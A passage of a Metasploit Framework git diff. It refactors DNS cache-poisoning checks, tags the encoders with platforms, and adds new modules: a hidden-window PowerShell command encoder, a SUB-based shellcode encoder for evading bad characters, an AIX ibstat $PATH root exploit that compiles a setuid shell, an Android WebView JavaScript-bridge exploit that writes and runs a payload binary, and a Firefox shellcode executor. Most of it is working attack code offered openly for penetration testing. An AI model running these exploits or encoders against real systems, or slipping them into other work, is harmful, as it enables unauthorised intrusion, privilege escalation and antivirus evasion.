           if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
             t_addr, t_port = $1.split(':')
 
-            print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
+            vprint_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
             t_port = t_port.to_i
             if(lport and lport != t_port)
               random = true
@@ -132,24 +126,29 @@ class Metasploit3 < Msf::Auxiliary
     srv_sock.close
 
     if(ports.keys.length == 0)
-      print_error("ERROR: This server is not replying to recursive requests")
-      return
+      vprint_error("ERROR: This server is not replying to recursive requests")
+      return Exploit::CheckCode::Unknown
     end
 
     if(reps < 30)
-      print_warning("WARNING: This server did not reply to all of our requests")
+      vprint_warning("WARNING: This server did not reply to all of our requests")
     end
 
     if(random)
       ports_u = ports.keys.length
       ports_r = ((ports.keys.length/30.0)*100).to_i
-      print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
+      vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
       if(ports_r != 100)
-        print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
+        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
+        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
+        return Exploit::CheckCode::Appears
       end
     else
-      print_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
+      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
+      return Exploit::CheckCode::Vulnerable
     end
+
+    Exploit::CheckCode::Safe
   end
 
   def run
diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb
index 6e584e4c4f..6ca8d1304d 100644
--- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb
+++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb
@@ -56,8 +56,7 @@ class Metasploit3 < Msf::Auxiliary
 
   def auxiliary_commands
     return {
-      "check" => "Determine if the specified DNS server (RHOST) is vulnerable",
-      "racer" => "Determine the size of the window for the target server",
+      "racer" => "Determine the size of the window for the target server"
     }
   end
 
@@ -73,14 +72,9 @@ class Metasploit3 < Msf::Auxiliary
     calculate_race(targ, dom)
   end
 
-  def cmd_check(*args)
-    targ = args[0] || rhost()
-    if !(targ and targ.length > 0)
-      print_status("usage: check [dns-server]")
-      return
-    end
+  def check
+    targ = rhost
 
-    print_status("Using the Metasploit service to verify exploitability...")
     srv_sock = Rex::Socket.create_udp(
       'PeerHost' => targ,
       'PeerPort' => 53
@@ -109,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
           if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
             t_addr, t_port = $1.split(':')
 
-            print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
+            vprint_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
             t_port = t_port.to_i
             if(lport and lport != t_port)
               random = true
@@ -130,12 +124,12 @@ class Metasploit3 < Msf::Auxiliary
     srv_sock.close
 
     if(ports.keys.length == 0)
-      print_error("ERROR: This server is not replying to recursive requests")
-      return
+      vprint_error("ERROR: This server is not replying to recursive requests")
+      return Exploit::CheckCode::Unknown
     end
 
     if(reps < 30)
-      print_warning("WARNING: This server did not reply to all of our requests")
+      vprint_warning("WARNING: This server did not reply to all of our requests")
     end
 
     if(random)
@@ -143,11 +137,16 @@ class Metasploit3 < Msf::Auxiliary
       ports_r = ((ports.keys.length/30.0)*100).to_i
       print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
       if(ports_r != 100)
-        print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
+        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
+        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
+        return Exploit::CheckCode::Appears
       end
     else
-      print_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
+      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
+      return Exploit::CheckCode::Vulnerable
     end
+
+    Exploit::CheckCode::Safe
   end
 
   def run
diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb
index 71aa3ca118..0058addf2d 100644
--- a/modules/auxiliary/spoof/nbns/nbns_response.rb
+++ b/modules/auxiliary/spoof/nbns/nbns_response.rb
@@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
 
     register_options([
       OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
-      OptString.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
+      OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
     ])
 
     register_advanced_options([
diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb
index bd46b5aaa9..867195863a 100644
--- a/modules/encoders/cmd/generic_sh.rb
+++ b/modules/encoders/cmd/generic_sh.rb
@@ -20,7 +20,8 @@ class Metasploit3 < Msf::Encoder
       tricks to avoid commonly restricted characters.
       },
       'Author'           => 'hdm',
-      'Arch'             => ARCH_CMD)
+      'Arch'             => ARCH_CMD,
+      'Platform'         => 'unix')
   end
 
 
diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb
index 07c0356603..9b8527a49f 100644
--- a/modules/encoders/cmd/ifs.rb
+++ b/modules/encoders/cmd/ifs.rb
@@ -21,7 +21,8 @@ class Metasploit3 < Msf::Encoder
         to avoid spaces without being overly fancy.
       },
       'Author'           => 'egypt',
-      'Arch'             => ARCH_CMD)
+      'Arch'             => ARCH_CMD,
+      'Platform'         => 'unix')
   end
 
 
diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb
new file mode 100644
index 0000000000..c8daae56b4
--- /dev/null
+++ b/modules/encoders/cmd/powershell_base64.rb
@@ -0,0 +1,54 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Encoder
+  Rank = ExcellentRanking
+
+  def initialize
+    super(
+      'Name'             => 'Powershell Base64 Command Encoder',
+      'Description'      => %q{
+        This encodes the command as a base64 encoded command for powershell.
+      },
+      'Author'           => 'Ben Campbell',
+      'Arch'             => ARCH_CMD,
+      'Platform'         => 'win')
+  end
+
+
+  #
+  # Encodes the payload
+  #
+  def encode_block(state, buf)
+
+    # Skip encoding for empty badchars
+    if state.badchars.length == 0
+      return buf
+    end
+
+    if (state.badchars.include? '-') || (state.badchars.include? ' ')
+      return buf
+    end
+
+    cmd = encode_buf(buf)
+
+    if state.badchars.include? '='
+        while cmd.include? '='
+          buf << " "
+          cmd = encode_buf(buf)
+        end
+    end
+
+    cmd
+  end
+
+  def encode_buf(buf)
+    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}"))
+    cmd = "powershell -w hidden -nop -e #{base64}"
+  end
+
+end
diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb
index fcfa9d829a..f0bd8ceff1 100644
--- a/modules/encoders/cmd/printf_php_mq.rb
+++ b/modules/encoders/cmd/printf_php_mq.rb
@@ -30,6 +30,7 @@ class Metasploit3 < Msf::Encoder
       },
       'Author'           => 'jduck',
       'Arch'             => ARCH_CMD,
+      'Platform'         => 'unix',
       'EncoderType'      => Msf::Encoder::Type::PrintfPHPMagicQuotes)
   end
 
diff --git a/modules/encoders/generic/eicar.rb b/modules/encoders/generic/eicar.rb
new file mode 100644
index 0000000000..ae5e1689af
--- /dev/null
+++ b/modules/encoders/generic/eicar.rb
@@ -0,0 +1,49 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Encoder
+
+  # Set to ManualRanking because actually using ths encoder will
+  # certainly destroy any possibility of a successful shell.
+  #
+  Rank = ManualRanking
+
+  def initialize
+    super(
+      'Name'             => 'The EICAR Encoder',
+      'Description'      => %q{
+        This encoder merely replaces the given payload with the EICAR test string.
+        Note, this is sure to ruin your payload.
+
+        Any content-aware firewall, proxy, IDS, or IPS that follows anti-virus
+        standards should alert and do what it would normally do when malware is
+        transmitted across the wire.
+      },
+      'Author'           => 'todb',
+      'License'          => MSF_LICENSE,
+      'Arch'             => ARCH_ALL,
+      'EncoderType'      => Msf::Encoder::Type::Unspecified)
+
+  end
+
+  # Avoid stating the string directly, don't want to get caught by local
+  # antivirus!
+  def eicar_test_string
+    obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"]
+    obfus_eicar.join("-").upcase
+  end
+
+  # TODO: add an option to merely prepend and not delete, using
+  # prepend_buf. Now, technically, EICAR should be all by itself
+  # and not part of a larger whole. Problem is, OptBool is
+  # acting funny here as an encoder option.
+  #
+  def encode_block(state, buf)
+    buf = eicar_test_string
+  end
+
+end
diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb
new file mode 100644
index 0000000000..6e3e31ba10
--- /dev/null
+++ b/modules/encoders/x86/opt_sub.rb
@@ -0,0 +1,337 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Encoder
+
+  Rank = ManualRanking
+
+  ASM_SUBESP20 = "\x83\xEC\x20"
+
+  SET_ALPHA    = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
+  SET_SYM      = '!@#$%^&*()_+\\-=[]{};\'":<>,.?/|~'
+  SET_NUM      = '0123456789'
+  SET_FILESYM  = '()_+-=\\/.,[]{}@!$%^&='
+
+  CHAR_SET_ALPHA         = SET_ALPHA + SET_SYM
+  CHAR_SET_ALPHANUM      = SET_ALPHA + SET_NUM + SET_SYM
+  CHAR_SET_FILEPATH      = SET_ALPHA + SET_NUM + SET_FILESYM
+
+  def initialize
+    super(
+      'Name'             => 'Sub Encoder (optimised)',
+      'Description'      => %q{
+        Encodes a payload using a series of SUB instructions and writing the
+        encoded value to ESP. This concept is based on the known SUB encoding
+        approach that is widely used to manually encode payloads with very
+        restricted allowed character sets. It will not reset EAX to zero unless
+        absolutely necessary, which helps reduce the payload by 10 bytes for
+        every 4-byte chunk. ADD support hasn't been included as the SUB
+        instruction is more likely to avoid bad characters anyway.
+
+        The payload requires a base register to work off which gives the start
+        location of the encoder payload in memory. If not specified, it defaults
+        to ESP. If the given register doesn't point exactly to the start of the
+        payload then an offset value is also required.
+
+        Note: Due to the fact that many payloads use the FSTENV approach to
+        get the current location in memory there is an option to protect the
+        start of the payload by setting the 'OverwriteProtect' flag to true.
+        This adds 3-bytes to the start of the payload to bump ESP by 32 bytes
+        so that it's clear of the top of the payload.
+      },
+      'Author'           => 'OJ Reeves <oj@buffered.io>',
+      'Arch'             => ARCH_X86,
+      'License'          => MSF_LICENSE,
+      'Decoder'          => { 'BlockSize'  => 4 }
+    )
+
+    register_options(
+      [
+        OptString.new( 'ValidCharSet', [ false, "Specify a known set of valid chars (ALPHA, ALPHANUM, FILEPATH)" ]),
+        OptBool.new( 'OverwriteProtect', [ false, "Indicate if the encoded payload requires protection against being overwritten" ])
+      ],
+      self.class)
+  end
+
+  #
+  # Conver the shellcode into a set of 4-byte chunks that can be
+  # encoding while making sure it is 4-byte aligned.
+  #
+  def prepare_shellcode(sc, protect_payload)
+    # first instructions need to be ESP offsetting if the payload
+    # needs to be protected
+    sc = ASM_SUBESP20 + sc if protect_payload == true
+
+    # first of all we need to 4-byte align the payload if it
+    # isn't already aligned, by prepending NOPs.
+    rem = sc.length % 4
+    sc = @asm['NOP'] * (4 - rem) + sc if rem != 0
+
+    # next we break it up into 4-byte chunks, convert to an unsigned
+    # int block so calculations are easy
+    chunks = []
+    sc = sc.bytes.to_a
+    while sc.length > 0
+      chunk = sc.shift + (sc.shift << 8) + (sc.shift << 16) + (sc.shift << 24)
+      chunks << chunk
+    end
+
+    # return the array in reverse as this is the order the instructions
+    # will be written to the stack.
+    chunks.reverse
+  end
+
+  #
+  # From the list of characters given, find two bytes that when
+  # ANDed together result in 0. Returns nil if not found.
+  #
+  def find_opposite_bytes(list)
+    list.each_char do |b1|
+      list.each_char do |b2|
+        if b1.ord & b2.ord == 0
+          return (b1 * 4), (b2 * 4)
+        end
+      end
+    end
+    return nil, nil
+  end
+
+  #
+  # Entry point to the decoder.
+  #
+  def decoder_stub(state)
+    return state.decoder_stub if state.decoder_stub
+
+    # configure our instruction dictionary
+    @asm = {
+      'NOP' => "\x90",
+      'AND' => { 'EAX' => "\x25" },
+      'SUB' => { 'EAX' => "\x2D" },
+      'PUSH' => {
+        'EBP' => "\x55", 'ESP' => "\x54",
+        'EAX' => "\x50", 'EBX' => "\x53",
+        'ECX' => "\x51", 'EDX' => "\x52",
+        'EDI' => "\x57", 'ESI' => "\x56"
+      },
+      'POP' => { 'ESP' => "\x5C", 'EAX' => "\x58", }
+    }
+
+    # set up our base register, defaulting to ESP if not specified
+    @base_reg = (datastore['BufferRegister'] || 'ESP').upcase
+
+    # determine the required bytes
+    @required_bytes =
+      @asm['AND']['EAX']  +
+      @asm['SUB']['EAX']  +
+      @asm['PUSH']['EAX'] +
+      @asm['POP']['ESP']  +
+      @asm['POP']['EAX']  +
+      @asm['PUSH'][@base_reg]
+
+    # generate a sorted list of valid characters
+    char_set = ""
+    case (datastore['ValidCharSet'] || "").upcase
+    when 'ALPHA'
+      char_set = CHAR_SET_ALPHA
+    when 'ALPHANUM'
+      char_set = CHAR_SET_ALPHANUM
+    when 'FILEPATH'
+      char_set = CHAR_SET_FILEPATH
+    else
+      for i in 0 .. 255
+        char_set += i.chr.to_s
+      end
+    end
+
+    # remove any bad chars and populate our valid chars array.
+    @valid_chars = ""
+    char_set.each_char do |c|
+      @valid_chars << c.to_s unless state.badchars.include?(c.to_s)
+    end
+
+    # we need the valid chars sorted because of the algorithm we use
+    @valid_chars = @valid_chars.chars.sort.join
+    @valid_bytes = @valid_chars.bytes.to_a
+
+    all_bytes_valid = @required_bytes.bytes.reduce(true) { |a, byte| a && @valid_bytes.include?(byte) }
+
+    # determine if we have any invalid characters that we rely on.
+    unless all_bytes_valid
+      raise RuntimeError, "Bad character set contains characters that are required for this encoder to function."
+    end
+
+    unless @asm['PUSH'][@base_reg]
+      raise RuntimeError, "Invalid base register"
+    end
+
+    # get the offset from the specified base register, or default to zero if not specifed
+    reg_offset = (datastore['BufferOffset'] || 0).to_i
+
+    # calculate two opposing values which we can use for zeroing out EAX
+    @clear1, @clear2 = find_opposite_bytes(@valid_chars)
+
+    # if we can't then we bomb, because we know we need to clear out EAX at least once
+    unless @clear1
+      raise RuntimeError, "Unable to find AND-able chars resulting 0 in the valid character set."
+    end
+
+    protect_payload = (datastore['OverwriteProtect'] || "").downcase == "true"
+
+    # with everything set up, we can now call the encoding routine
+    state.decoder_stub = encode_payload(state.buf, reg_offset, protect_payload)
+
+    state.buf = ""
+    state.decoder_stub
+  end
+
+  #
+  # Determine the bytes, if any, that will result in the given chunk
+  # being decoded using SUB instructions from the previous EAX value
+  #
+  def sub_3(chunk, previous)
+    carry = 0
+    shift = 0
+    target = previous - chunk
+    sum = [0, 0, 0]
+
+    4.times do |idx|
+      b = (target >> shift) & 0xFF
+      lo = md = hi = 0
+
+      # keep going through the character list under the "lowest" valid
+      # becomes too high (ie. we run out)
+      while lo < @valid_bytes.length
+        # get the total of the three current bytes, including the carry from
+        # the previous calculation
+        total = @valid_bytes[lo] + @valid_bytes[md] + @valid_bytes[hi] + carry
+
+        # if we matched a byte...
+        if (total & 0xFF) == b
+          # store the carry for the next calculation
+          carry = (total >> 8) & 0xFF
+
+          # store the values in the respective locations
+          sum[2] |= @valid_bytes[lo] << shift
+          sum[1] |= @valid_bytes[md] << shift
+          sum[0] |= @valid_bytes[hi] << shift
+          break
+        end
+
+        hi += 1
+        if hi >= @valid_bytes.length
+          md += 1
+          hi = md
+        end
+
+        if md >= @valid_bytes.length
+          lo += 1
+          hi = md = lo
+        end
+      end
+
+      # we ran out of chars to try
+      if lo >= @valid_bytes.length
+        return nil, nil
+      end
+
+      shift += 8
+    end
+
+    return sum, chunk
+  end
+
+  #
+  # Helper that writes instructions to zero out EAX using two AND instructions.
+  #
+  def zero_eax
+    data = ""
+    data << @asm['AND']['EAX']
+    data << @clear1
+    data << @asm['AND']['EAX']
+    data << @clear2
+    data
+  end
+
+  #
+  # Write instructions that perform the subtraction using the given encoded numbers.
+  #
+  def create_sub(encoded)
+    data = ""
+    encoded.each do |e|
+      data << @asm['SUB']['EAX']
+      data << [e].pack("L")
+    end
+    data << @asm['PUSH']['EAX']
+    data
+  end
+
+  #
+  # Encoding the specified payload buffer.
+  #
+  def encode_payload(buf, reg_offset, protect_payload)
+    data = ""
+
+    # prepare the shellcode for munging
+    chunks = prepare_shellcode(buf, protect_payload)
+
+    # start by reading the value from the base register and dropping it into EAX for munging
+    data << @asm['PUSH'][@base_reg]
+    data << @asm['POP']['EAX']
+
+    # store the offset of the stubbed placeholder
+    base_reg_offset = data.length
+
+    # Write out a stubbed placeholder for the offset instruction based on
+    # the base register, we'll update this later on when we know how big our payload is.
+    encoded, _ = sub_3(0, 0)
+    raise RuntimeError, "Couldn't offset base register." if encoded.nil?
+    data << create_sub(encoded)
+
+    # finally push the value of EAX back into ESP
+    data << @asm['PUSH']['EAX']
+    data << @asm['POP']['ESP']
+
+    # start instruction encoding from a clean slate
+    data << zero_eax
+
+    # keep track of the previous instruction, because we use that as the starting point
+    # for the next instruction, which saves us 10 bytes per 4 byte block. If we can't
+    # offset correctly, we zero EAX and try again.
+    previous = 0
+    chunks.each do |chunk|
+      encoded, previous = sub_3(chunk, previous)
+
+      if encoded.nil?
+        # try again with EAX zero'd out
+        data << zero_eax
+        encoded, previous = sub_3(chunk, 0)
+      end
+
+      # if we're still nil here, then we have an issue
+      raise RuntimeError, "Couldn't encode payload" if encoded.nil?
+
+      data << create_sub(encoded)
+    end
+
+    # Now that the entire payload has been generated, we figure out offsets
+    # based on sizes so that the payload overlaps perfectly with the end of
+    # our decoder
+    total_offset = reg_offset + data.length + (chunks.length * 4) - 1
+    encoded, _ = sub_3(total_offset, 0)
+
+    # if we're still nil here, then we have an issue
+    raise RuntimeError, "Couldn't encode protection" if encoded.nil?
+    patch = create_sub(encoded)
+
+    # patch in the correct offset back at the start of our payload
+    data[base_reg_offset .. base_reg_offset + patch.length] = patch
+
+    # and we're done finally!
+    data
+  end
+end
+
diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb
new file mode 100644
index 0000000000..cb424c1cfe
--- /dev/null
+++ b/modules/exploits/aix/local/ibstat_path.rb
@@ -0,0 +1,160 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class Metasploit4 < Msf::Exploit::Local
+
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      "Name" => "ibstat $PATH Privilege Escalation",
+      "Description" => %q{
+        This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
+      },
+      "Author" => [
+        "Kristian Erik Hermansen", #original author
+        "Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>", #Metasploit module
+        "Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>" #Metasploit module
+      ],
+      "References" => [
+        ["CVE", "2013-4011"],
+        ["OSVDB", "95420"],
+        ["BID", "61287"],
+        ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"],
+        ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"]
+      ],
+      "Platform" => ["unix"],
+      "Arch" => ARCH_CMD,
+      "Payload" => {
+        "Compat" => {
+          "PayloadType" => "cmd",
+          "RequiredCmd" => "perl"
+        }
+      },
+      "Targets" => [
+        ["IBM AIX Version 6.1", {}],
+        ["IBM AIX Version 7.1", {}]
+      ],
+      "DefaultTarget" => 1,
+      "DisclosureDate" => "Sep 24 2013"
+    ))
+
+    register_options([
+      OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
+    ], self.class)
+  end
+
+  def check
+    find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null")
+
+    if find_output.include?("ibstat")
+      return Exploit::CheckCode::Vulnerable
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    if check == Exploit::CheckCode::Safe
+      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
+    else
+      print_good("Target is vulnerable.")
+    end
+
+    root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
+    arp_file = "#{datastore["WritableDir"]}/arp"
+    c_file = %Q^#include <stdio.h>
+
+int main()
+{
+   setreuid(0,0);
+   setregid(0,0);
+   execve("/bin/sh",NULL,NULL);
+   return 0;
+}
+^
+    arp = %Q^#!/bin/sh
+
+chown root #{root_file}
+chmod 4555 #{root_file}
+^
+
+    if gcc_installed?
+      print_status("Dropping file #{root_file}.c...")
+      write_file("#{root_file}.c", c_file)
+
+      print_status("Compiling source...")
+      cmd_exec("gcc -o #{root_file} #{root_file}.c")
+      print_status("Compilation completed")
+
+      register_file_for_cleanup("#{root_file}.c")
+    else
+      cmd_exec("cp /bin/sh #{root_file}")
+    end
+
+    register_file_for_cleanup(root_file)
+
+    print_status("Writing custom arp file...")
+    write_file(arp_file,arp)
+    register_file_for_cleanup(arp_file)
+    cmd_exec("chmod 0555 #{arp_file}")
+    print_status("Custom arp file written")
+
+    print_status("Updating $PATH environment variable...")
+    path_env = cmd_exec("echo $PATH")
+    cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
+    cmd_exec("export PATH")
+
+    print_status("Triggering vulnerablity...")
+    cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")
+
+    # The $PATH variable must be restored before the payload is executed
+    # in cases where an euid root shell was gained
+    print_status("Restoring $PATH environment variable...")
+    cmd_exec("PATH=#{path_env}")
+    cmd_exec("export PATH")
+
+    cmd_exec(root_file)
+    print_status("Checking root privileges...")
+
+    if is_root?
+      print_status("Executing payload...")
+      cmd_exec(payload.encoded)
+    end
+  end
+
+  def gcc_installed?
+    print_status("Checking if gcc exists...")
+    gcc_whereis_output = cmd_exec("whereis -b gcc")
+
+    if gcc_whereis_output.include?("/")
+      print_good("gcc found!")
+      return true
+    end
+
+    print_status("gcc not found. Using /bin/sh from local system")
+    false
+  end
+
+  def is_root?
+    id_output = cmd_exec("id")
+
+    if id_output.include?("euid=0(root)")
+      print_good("Got root! (euid)")
+      return true
+    end
+    if id_output.include?("uid=0(root)")
+      print_good("Got root!")
+      return true
+    end
+
+    print_status("Exploit failed")
+    false
+  end
+
+end
diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb
new file mode 100644
index 0000000000..40c5461117
--- /dev/null
+++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb
@@ -0,0 +1,120 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+  include Msf::Exploit::Remote::BrowserAutopwn
+
+  autopwn_info({
+    :os_flavor  => "Android",
+    :arch       => ARCH_ARMLE,
+    :javascript => true,
+    :rank       => ExcellentRanking,
+    :vuln_test  => %Q|
+      for (i in top) {
+        try {
+          top[i].getClass().forName('java.lang.Runtime');
+          is_vuln = true; break;
+        } catch(e) {}
+      }
+    |
+  })
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Android Browser and WebView addJavascriptInterface Code Execution',
+      'Description' => %q{
+            This module exploits a privilege escalation issue in Android < 4.2's WebView component
+          that arises when untrusted Javascript code is executed by a WebView that has one or more
+          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
+          APIs exposed by the Interface and execute arbitrary commands.
+
+          Some distributions of the Android Browser app have an addJavascriptInterface
+          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
+          4.1.2 release of Android is known to be vulnerable.
+
+          A secondary attack vector involves the WebViews embedded inside a large number
+          of Android applications. Ad integrations are perhaps the worst offender here.
+          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
+          into the page displayed in the WebView, then you can inject the html/js served
+          by this module and get a shell.
+
+          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
+      },
+      'License'     => MSF_LICENSE,
+      'Author'      => [
+        'jduck', # original msf module
+        'joev'   # static server
+      ],
+      'References'     => [
+        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
+        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
+        ['URL', 'http://50.56.33.56/blog/?p=314'],
+        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
+        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
+      ],
+      'Platform'       => 'linux',
+      'Arch'           => ARCH_ARMLE,
+      'DefaultOptions' => { 'PrependFork' => true },
+      'Targets'        => [ [ 'Automatic', {} ] ],
+      'DisclosureDate' => 'Dec 21 2012',
+      'DefaultTarget'  => 0,
+      'BrowserRequirements' => {
+        :source  => 'script',
+        :os_flavor  => "Android",
+        :arch       => ARCH_ARMLE
+      }
+    ))
+  end
+
+  def on_request_uri(cli, req)
+    if req.uri.end_with?('js')
+      print_status("Serving javascript")
+      send_response(cli, js, 'Content-type' => 'text/javascript')
+    else
+      super
+    end
+  end
+
+  def on_request_exploit(cli, req, browser)
+    print_status("Serving exploit HTML")
+    send_response_html(cli, html)
+  end
+
+  def js
+    %Q|
+      function exec(obj) {
+        // ensure that the object contains a native interface
+        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
+
+        // get the runtime so we can exec
+        var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
+        var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
+
+        // get the process name, which will give us our data path
+        var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
+        var ch, path = '/data/data/';
+        while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
+        path += '/#{Rex::Text.rand_text_alpha(8)}';
+
+        // build the binary, chmod it, and execute it
+        m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
+        m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
+        m.invoke(null, null).exec([path]);
+
+        return true;
+      }
+
+      for (i in top) { if (exec(top[i]) === true) break; }
+    |
+  end
+
+  def html
+    "<!doctype html><html><body><script>#{js}</script></body></html>"
+  end
+end
diff --git a/modules/exploits/firefox/local/exec_shellcode.rb b/modules/exploits/firefox/local/exec_shellcode.rb
new file mode 100644
index 0000000000..46a2de4668
--- /dev/null
+++ b/modules/exploits/firefox/local/exec_shellcode.rb
@@ -0,0 +1,62 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/payload/firefox'
+
+class Metasploit3 < Msf::Exploit::Local
+
+  include Msf::Payload::Firefox
+  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Firefox Exec Shellcode from Privileged Javascript Shell',
+      'Description'   => %q{
+        This module allows execution of native payloads from a privileged Firefox Javascript shell.
+        It places the specified payload into memory, adds the necessary protection flags,
+        and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
+        session without touching the disk.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'joev' ],
+      'Platform'      => [ 'firefox' ],
+      'DisclosureDate' => 'Mar 10 2014',
+      'Targets'       => [
+        [
+          'Native Payload', {
+            'Platform' => %w{ linux osx win unix },
+            'Arch'     => ARCH_ALL
+          }
+        ]
+      ],
+      'DefaultTarget' => 0
+    ))
+
+    register_options([
+      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
+    ], self.class)
+  end
+
+  def exploit
+    print_status "Running the Javascript shell..."
+    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
+    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
+    print_warning(results) if results.present?
+  end
+
+  def js_payload
+    %Q|
+      (function(send){
+        try {
+          #{run_payload}
+          send("Payload executed.");
+        } catch (e) {
+          send(e);
+        }
+      })(send);
+    |.strip
+  end
+end
diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
index 2c6954b241..ea1e397fbf 100644
--- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
+++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
@@ -106,15 +106,15 @@ class Metasploit3 < Msf::Exploit::Remote
         if rel.length > 0
           if rel[0,2] == 'rc'
             if rel[2,rel.length].to_i >= 3
